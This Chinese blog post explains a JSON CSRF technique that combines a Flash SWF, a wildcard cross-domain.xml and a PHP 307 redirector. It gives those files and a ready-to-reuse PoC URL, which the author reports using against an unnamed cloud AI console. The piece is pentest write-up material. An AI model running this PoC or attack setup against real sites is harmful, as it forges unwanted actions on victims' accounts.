JSON CSRF新姿势

未分类 Admin 5个月前 (08-19) 134次浏览 0个评论

以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,给大家分享一下。

 

测试的时候,当应用程序验证了Content-typedata format,这种新姿势依然可以可以使用flash和307重定向来实现JSON CSRF。

 

要求:

 

1 制作一个Flash文件

2 制作一个跨域XML文件

3 制作一个具有307状态码的PHP文件

 

制作FLASH文件:

 

这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

 

 

这是测试  SWF文件代码,可以根据需要下载和编辑内容。

 

跨域XML文件:

<cross-domain-policy>

<allow-access-from domain="*" secure="false"/>

<allow-http-request-headers-from domain="*" headers="*" secure="false"/>

</cross-domain-policy>

 

 

 

 

 

该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。

 

注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

 

具有307状态码的PHP文件:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

 

 

 

 

Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

 

注意:由于这是基于闪存,所以flash应该安装在浏览器中使其工作,这现在正常不过了,但可能在将来不会执行

 

好了,举个栗子吧

 

某云认知服务应用列表创建应用处存在JSON CSRF

抓包查看

可以看到几个关键点

 

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

 

没有验证referrer也没有任何token

 

构造属于我们自己的POC:

 

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

执行过后,页面是没有任何显示的

返回刷新原始页面

可以看到已经成功执行了CSRF创建了一个新的应用

 

分析一下POC

 

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

 

第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。

经过307跳转以后实现CSRF

具体文章参考:

http://blog.xss.tv/test.swf?jsonData={“Mannix”:Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

需要测试的可以直接按照我的POC套数据。

 

喜欢 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址